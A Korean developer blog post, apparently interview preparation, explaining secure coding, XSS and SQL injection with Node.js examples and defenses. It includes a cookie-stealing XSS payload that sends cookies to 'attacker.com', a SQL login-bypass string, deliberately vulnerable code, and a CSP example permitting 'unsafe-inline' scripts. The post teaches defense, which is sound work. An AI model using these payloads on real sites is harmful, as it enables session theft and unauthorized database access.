  • 신뢰성 향상: 사용자 및 고객 신뢰도 증대
  • 법적 준수: 개인정보보호 관련 법규 준수
  • 비즈니스 연속성: 안정적인 서비스 운영

❌ 주의사항

  • 개발 비용: 초기 개발 시간 증가
  • 복잡성: 보안 로직 추가로 인한 복잡성
  • 성능 영향: 검증 로직으로 인한 성능 오버헤드
  • 지속적 관리: 새로운 취약점에 대한 지속적 대응 필요

🎯 면접 답변 템플릿 (30초)

"시큐어코딩은 개발 과정에서 보안 취약점을 사전에 예방하는 프로그래밍 기법입니다. 입력 검증, 출력 인코딩, 안전한 인증과 세션 관리가 핵심이며, OWASP Top 10과 같은 가이드라인을 따라 SQL Injection, XSS 등의 취약점을 방지합니다. 개발 초기부터 보안을 적용하여 배포 후 수정 비용을 크게 절감할 수 있습니다."

📚 참고 링크


8. 주요 보안 취약점 (XSS, SQL Injection)

📖 XSS (Cross-Site Scripting)

정의

XSS는 공격자가 웹사이트에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행시키는 공격 기법입니다. 사용자의 세션 쿠키 탈취, 계정 탈취, 피싱 공격 등이 가능합니다.

XSS 유형별 특징

유형설명공격 방법위험도
Stored XSS서버에 저장되는 XSS게시판, 댓글에 스크립트 삽입높음
Reflected XSS즉시 반사되는 XSSURL 파라미터에 스크립트 삽입중간
DOM-based XSS클라이언트 측 XSSJavaScript로 DOM 조작중간

XSS 공격 예시

// 취약한 코드 (Stored XSS)
app.post('/comment', (req, res) => {
  const comment = req.body.comment;
  // 직접 DB에 저장 (위험!)
  db.query('INSERT INTO comments (content) VALUES (?)', [comment]);
  res.redirect('/posts');
});

// 취약한 출력 (XSS 실행)
app.get('/posts', (req, res) => {
  db.query('SELECT * FROM comments', (err, comments) => {
    let html = '<div>';
    comments.forEach(comment => {
      // 인코딩 없이 직접 출력 (위험!)
      html += `<p>${comment.content}</p>`;
    });
    html += '</div>';
    res.send(html);
  });
});

// 공격 페이로드
<script>
  // 쿠키 탈취
  document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

XSS 방어 방법

1. 출력 인코딩
const he = require('he');

// HTML 엔티티 인코딩
function safeOutput(userInput) {
  return he.encode(userInput);
}

// 안전한 출력
app.get('/posts', (req, res) => {
  db.query('SELECT * FROM comments', (err, comments) => {
    let html = '<div>';
    comments.forEach(comment => {
      // 인코딩하여 안전하게 출력
      html += `<p>${safeOutput(comment.content)}</p>`;
    });
    html += '</div>';
    res.send(html);
  });
});
2. Content Security Policy (CSP)
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', 
    "default-src 'self'; " +
    "script-src 'self' 'unsafe-inline'; " +
    "style-src 'self' 'unsafe-inline';"
  );
  next();
});
3. 입력 검증 및 필터링
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const window = new JSDOM('').window;
const purify = DOMPurify(window);

function sanitizeHtml(dirty) {
  return purify.sanitize(dirty);
}

💉 SQL Injection

정의

SQL Injection은 사용자 입력을 통해 SQL 쿼리를 조작하여 데이터베이스에 비인가 접근하거나 데이터를 탈취, 변조, 삭제하는 공격 기법입니다.

SQL Injection 공격 유형

유형설명공격 목적
Union-basedUNION 구문으로 데이터 탈취데이터 조회
Boolean-based참/거짓 반응으로 정보 추출블라인드 공격
Time-based시간 지연으로 정보 추출블라인드 공격
Error-based에러 메시지를 통한 정보 추출스키마 정보 획득

SQL Injection 공격 예시

// 취약한 코드
app.post('/login', (req, res) => {
  const username = req.body.username;
  const password = req.body.password;
  
  // 동적 쿼리 생성 (위험!)
  const query = `
    SELECT * FROM users 
    WHERE username = '${username}' 
    AND password = '${password}'
  `;
  
  db.query(query, (err, results) => {
    if (results.length > 0) {
      res.json({ success: true });
    } else {
      res.json({ success: false });
    }
  });
});

// 공격 페이로드
// username: admin' OR '1'='1' --
// password: anything

// 실제 실행되는 쿼리
SELECT * FROM users 
WHERE username = 'admin' OR '1'='1' --' 
AND password = 'anything'

SQL Injection 방어 방법

1. 파라미터화 쿼리 (Prepared Statements)
// 안전한 코드 - MySQL
app.post('/login', (req, res) => {
  const username = req.body.username;
  const password = req.body.password;
  
  // 파라미터화 쿼리 사용
  const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
  
  db.query(query, [username, password], (err, results) => {
    if (err) {
      return res.status(500).json({ error: 'Database error' });
    }
    
    if (results.length > 0) {
      res.json({ success: true });
    } else {
      res.json({ success: false });
    }
  });
});

// ORM 사용 예시 (Sequelize)
const user = await User.findOne({
  where: {
    username: req.body.username,
    password: req.body.password
  }
});
2. 입력 검증
const validator = require('validator');

function validateInput(input, type) {
  switch(type) {
    case 'email':
      return validator.isEmail(input);
    case 'alphanumeric':
      return validator.isAlphanumeric(input);
    case 'numeric':
      return validator.isNumeric(input);
    default:
      return false;
  }
}

app.post('/user/:id', (req, res) => {
  const userId = req.params.id;
  
  // 입력 검증
  if (!validateInput(userId, 'numeric')) {
    return res.status(400).json({ error: 'Invalid user ID' });
  }
  
  const query = 'SELECT * FROM users WHERE id = ?';
  db.query(query, [userId], callback);
});
3. 최소 권한 원칙
// 데이터베이스 사용자별 권한 분리
const dbConfigs = {
  read: {
    host: 'localhost',
    user: 'app_reader',      // 읽기 전용 권한
    password: 'read_pass',
    database: 'app_db'
  },
  write: {
    host: 'localhost',
    user: 'app_writer',      // 읽기/쓰기 권한
    password: 'write_pass',
    database: 'app_db'
  }
};

// 읽기 전용 연결
const readDB = mysql.createConnection(dbConfigs.read);

// 쓰기 연결
const writeDB = mysql.createConnection(dbConfigs.write);

🛡️ 종합 보안 대책

방어 계층 (Defense in Depth)

1. 네트워크 보안    → 방화벽, IDS/IPS
2. 애플리케이션    → 입력 검증, 출력 인코딩
3. 데이터베이스    → 권한 관리, 암호화
4. 모니터링        → 로그 분석, 이상 탐지

보안 헤더 설정

const helmet = require('helmet');

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  }
}));

🔍 취약점 진단 도구

도구유형특징
OWASP ZAPDAST무료, 다양한 취약점 스캔
Burp SuiteDAST상업용, 전문가용
SQLMapSQL Injection 전용자동화된 SQLi 탐지
SonarQubeSAST코드 품질 및 보안

🎯 면접 답변 템플릿 (30초)

"XSS는 악성 스크립트를 웹사이트에 삽입하는 공격으로 출력 인코딩과 CSP로 방어합니다. SQL Injection은 SQL 쿼리를 조작하는 공격으로 파라미터화 쿼리와 입력 검증으로 방어합니다. 두 취약점 모두 OWASP Top 10에 포함되며, 개발 단계부터 보안을 고려한 시큐어코딩을 통해 예방할 수 있습니다."

📚 참고 링크

profile
hi im gggongbo

0개의 댓글